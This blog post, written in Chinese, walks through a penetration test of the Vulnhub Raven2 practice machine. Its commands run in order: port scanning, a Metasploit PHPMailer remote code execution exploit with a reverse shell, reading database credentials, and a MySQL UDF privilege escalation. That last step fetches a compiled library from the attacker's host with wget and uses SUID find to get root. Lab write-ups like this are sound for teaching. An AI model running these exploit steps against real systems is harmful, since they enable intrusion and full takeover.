Vulnhub系列靶机-Raven2

文章目录

  • Raven2 渗透测试
    • 1. 信息收集
      • 1.1 主机探测
      • 1.2 端口扫描
      • 1.3 目录爆破
    • 2. 漏洞探测
    • 3. 漏洞利用
      • 3.1 msfconsole
      • 3.2 交互式shell
    • 4. 权限提升

Raven2 渗透测试

1. 信息收集

1.1 主机探测

arp-scan -l

image-20231013144424941

1.2 端口扫描

nmap -p- -A 192.168.188.213

image-20231013144601315

通过nmap工具进行端口扫描发现靶机开放了22,80,111,58447端口。

访问Web页面

image-20231013144749607

使用浏览器插件Wappalyzer,查看网站使用的具体框架信息

image-20231013145503801

1.3 目录爆破

dirsearch -u 192.168.188.213 -e * -i 200

image-20231013144920587

2. 漏洞探测

访问一下wp-login.php页面

image-20231013145032185

尝试登录发现找不到网站

image-20231013155117407

访问http://192.168.188.213/vendor/页面

image-20231013150035714

点击PATH发现一个flag1

image-20231013160145841

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

点击README.md文件发现是PHPMailer。

image-20231013151652149

PHPMailer的版本信息5.2.16。

image-20231013151727625

经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。在网上搜索资料后发现PHPMailer5.2.16版本的漏洞有远程命令执行漏洞。

image-20231013155633414

Web页面中也有发送邮件的位置,这样就对应上了。

image-20231013160752128

3. 漏洞利用

3.1 msfconsole

使用msfconsole搜索phpmailer

search phpmailer

image-20231013155814058

info 0

有两个先查看下第一个描述情况。

image-20231013155928189

发现第一个版本需要在5.2.18之下,而之前发现的版本为5.2.16正好小于5.2.18。那么我们直接使用第一个即可。

use 0

image-20231013160120055

配置选项如下

options
set RHOSTS 192.168.188.213 			  	  # 靶机的IP地址
set TARGETURI /contact.php   			  # 邮件功能页面
set WEB_ROOT /var/www/html    			  # 网站绝对路径
set payload php/meterpreter/reverse_tcp	  # 设置payload
set LHOST 192.168.188.157   			  # kali的IP地址
run

image-20231013161139598

复制生成的0nB8rTnS.php拼接在URL后然后进行访问。

image-20231013165045546

反弹成功。

image-20231013164222374

在/var/www路径下可以看到flag2.txt文件

image-20231013164513462

flag2{6a8ed560f0b5358ecf844108048eb337}

切换为shell形式,搜索所有的flag

shell
find ./ -name "flag*"

image-20231013164715066

./html/wordpress/wp-content/uploads/2018/11/flag3.png

image-20231013164806832

f1ag3a0f568aa9de277887f37730d71520d9b}

3.2 交互式shell

使用python一句话反弹交互式shell。

python -c 'import pty; pty.spawn("/bin/bash")'

image-20231013165226185

尝试搜索wordpress的配置文件

find ./ -name "*fig*"

image-20231013165539143

在wp-config.php文件中发现了mysql的数据库账号密码为:

root
R@v3nSecurity

image-20231013165651099

使用账号密码成功登录数据库。

mysql -uroot -pR@v3nSecurity

image-20231013165806991

4. 权限提升

MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

ps -aux|grep mysql  				#查看mysql的运行权限
select version();   				#查看mysql版本
select @@basedir;   				#确认mysql安装位置
show variables like '%basedir%';    #确认mysql安装位置
show variables like '%secure%';  	#查看可导出文件位置

image-20231013170233373

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

show variables like '%plugin%';  	 #查找插件位置
show variables like '%compile%';  	 #查看系统版本

image-20231013170315512

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

searchsploit 1518.c  			 #搜索1518.c
locate 1518.c	 				 #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹

image-20231013170420371

image-20231013170431915

image-20231013170519066

利用gcc编译,生成1518.so文件。

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

命令参数说明

  • -g:生成调试信息。
  • -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
  • -o:执行命令后的文件名。
  • -lc:-l 库 c库名。
  • -Wl:该选项告诉编译器将后面的参数传递给链接器。
  • -soname:则指定了动态库的soname(简单共享名,Short for shared object name)

image-20231013170609725

在kali上使用python开启http服务。

python3 -m http.server 7777

在获取的shell中,将该“.so”文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

cd /tmp
wget http://192.168.188.157:7777/1518.so
chmod 777 *

image-20231013171059486

再次登录mysql,并使用一下命令创建自定义函数。

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity# 使用mysql数据库
use mysql;# 创建foo表
create table foo(line blob);# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

image-20231013171358098

利用find命名执行whoami,发现当前为root权限。

touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;
cd /
ls
cd root
ls
cat flag4.txt

image-20231013171809501

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/159163.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

当想为SLB申请公网域名时,缩写是什么意思

SLB的缩写是Server Load Balancer,即服务器负载均衡器。 是一种内网吗? 不,SLB(Server Load Balancer)是一种位于应用程序和网络之间的设备或服务,用于在多个服务器之间分发流量、负载均衡以及提供高可用性。它通常…

2核4G游戏服务器推荐(阿里云/腾讯云/华为云)

2核4G游戏服务器推荐,首选腾讯云2核4G5M带宽轻量应用服务器218元一年、阿里云2核4G4M带宽轻量应用服务器297元一年,华为云2核2G3M云耀L服务器95元一年,阿腾云来详细说下2核4G游戏服务器推荐配置大全: 目录 2核4G游戏服务器推荐 …

Qt应用开发(基础篇)——树结构视图 QTreeView

一、前言 QTreeView类继承于QAbstractItemView类,提供了一个树结构视图的模型。 视图基类 QAbstractItemView QTreeView默认为Model/View实现,下面是一个使用QFileSystemModel和QTreeView的结合,显示系统文件结构的实例。 QFileSystemModel …

pycharm中快速对比两个.py文件

在学习一个算法的时候,就想着自己再敲一遍代码,结果最后出现了一个莫名其妙的错误,想跟源文件对比一下到底是在哪除了错,之前我都是大致定位一个一个对比,想起来matlab可以快速查找出两个脚本文件(.m文件)的区别&#…

大语言模型迎来重大突破!找到解释神经网络行为方法

前不久,获得亚马逊40亿美元投资的ChatGPT主要竞争对手Anthropic在官网公布了一篇名为《朝向单义性:通过词典学习分解语言模型》的论文,公布了解释经网络行为的方法。 由于神经网络是基于海量数据训练而成,其开发的AI模型可以生成…

进化算法------代码示例

前言 遗传算法就是在一个解空间上,随机的给定一组解,这组解称为父亲种群,通过这组解的交叉,变异,构建出新的解,称为下一代种群,然后在目前已有的所有解中抽取表现好的解组成新的父亲种群&#…

2.MySQL表的操作

个人主页:Lei宝啊 愿所有美好如期而遇 表的操作 (1)表的创建 CREATE TABLE table_name ( field1 datatype, field2 datatype, field3 datatype ) character set 字符集 collate 校验规则 engine 存储引擎; 存储引擎的不同会导致创建表的文件不同。 换个引擎。 t…

“零代码”能源管理平台:智能管理能源数据

随着能源的快速增长,有效管理和监控能源数据变得越来越重要。为了帮助企业更好的管理能源以及降低能源成本,越来越多的能源管理平台出现在市面上。 “零代码”形式的能源管理平台,采用IT与OT深度融合为理念,可进行可视化、拖拽、…

css 如何让元素内部文本和外部文本 一块显示省略号

实际上还是有这样的需求的 <div class"container"><span>啊啊啊啊啊啊啊啊</span>你好啊撒撒啊撒撒撒撒啊撒撒撒撒撒说</div>还是有这样的需求的哦。 div.container {width: 200px;white-space: nowrap;text-overflow: ellipsis;overflow:…

LiveMedia视频中间件如何与第三方系统实现事件录像关联

一、平台简介 LiveMedia视频中间件是支持部署到本地服务器或者云服务器的纯软件服务&#xff0c;也提供服务器、GPU一体机全包服务&#xff0c;提供视频设备管理、无插件、跨平台的实时视频、历史回放、语音对讲、设备控制等基础功能&#xff0c;支持视频协议有海康、大华私有协…

ARMv5架构对齐访问异常问题

strh非对齐访问 在ARMv5架构中&#xff0c;对于strh指令&#xff08;Store Halfword&#xff09;&#xff0c;通常是要求对地址进行对齐访问的。ARMv5架构对于半字&#xff08;Halfword&#xff09;的存储操作有对齐要求&#xff0c;即地址必须是2的倍数。 如果尝试使用strh指…

具有标记和笔记功能的文件管理器TagSpaces

什么是 TagSpaces &#xff1f; TagSpaces 是一款免费、无供应商锁定的开源应用程序&#xff0c;用于借助标签组织、注释和管理本地文件。它具有高级笔记功能和待办事项应用程序的一些功能。该应用程序适用于 Windows、Linux、Mac OS 和 Android。并已经为 Firefox、Edge 和 Ch…

Qt Core篇 后端上位机界面开发

Qt Core篇 后端上位机界面开发 Qt Core 我选择了Qt,依旧度日如年&#xff0c;简单发布一篇&#xff0c;代表我还活着 Qt Core Qt Core是Qt框架的核心模块之一&#xff0c;它提供了一套跨平台的C类库&#xff0c;用于处理事件循环、线程、文件和目录操作、数据类型、日期和时间…

FPGA设计时序约束五、设置时钟不分析路径

一、背景 在进行时序分析时&#xff0c;工具默认对所有的时序路径进行分析&#xff0c;在实际的设计中&#xff0c;存在一些路径不属于逻辑功能的&#xff0c;或者不需要进行时序分析的路径&#xff0c;使用set_false_path对该路径进行约束&#xff0c;时序分析时工具将会直接忽…

数据库安全-RedisHadoopMysql未授权访问RCE

目录 数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE定义漏洞复现Mysql-CVE-2012-2122 漏洞Hadoop-配置不当未授权三重奏&RCE 漏洞 Redis-未授权访问-Webshell&任务&密匙&RCE 等漏洞定义&#xff1a;漏洞成因漏洞危害漏洞复现Redis-未授权…

ReLU激活函数

LeakyReLU激活函数的具体用法请查看此篇博客&#xff1a;LeakyReLU激活函数 ReLU&#xff08;Rectified Linear Unit&#xff09;激活函数是深度学习中最常用的激活函数之一&#xff0c;它的数学表达式如下&#xff1a; 在这里&#xff0c;(x) 是输入&#xff0c;(f(x)) 是输…

简述WPF中MVVM的设计思想

近年来&#xff0c;随着WPF在生产、制造、工控等领域应用越来越广泛&#xff0c;对WPF的开发需求也在逐渐增多&#xff0c;有很多人不断的从Web、WinForm开发转向了WPF开发。 WPF开发有很多新的概念及设计思想&#xff0c;如数据驱动、数据绑定、依赖属性、命令、控件模板、数…

多输入多输出 | MATLAB实现CNN-GRU-Attention卷积神经网络-门控循环单元结合SE注意力机制的多输入多输出预测

多输入多输出 | MATLAB实现CNN-GRU-Attention卷积神经网络-门控循环单元结合SE注意力机制的多输入多输出预测 目录 多输入多输出 | MATLAB实现CNN-GRU-Attention卷积神经网络-门控循环单元结合SE注意力机制的多输入多输出预测预测效果基本介绍程序设计往期精彩参考资料 预测效果…

虚拟机独立 IP 配置

虚拟机独立 IP 配置 1. 点击虚拟网络编辑器 2. 点击更改设置 3. 查看本地电脑网卡型号并设置虚拟网络编辑器桥接网卡为同型号网卡 4. 设置有限网络信息 5. 点击网络编辑按钮并点击身份 6. 编辑名称并选择MAC地址 7. 配置 IPv4 地址后点击应用即可

网络编程基础知识总结——IP,端口,协议

目录 1. 什么是网络编程&#xff1f; 2. 网络编程的三要素 3. IP 3.1 IP地址的概念 3.2 IP地址的分类 3.3 IPv4解析 3.4 Ipv6解析 4. IPv4 的使用细节 5. 特殊IP地址 4. 端口号 5. 协议 5.1 UDP协议 5.2 TCP协议 1. 什么是网络编程&#xff1f; 总的来说就是一句…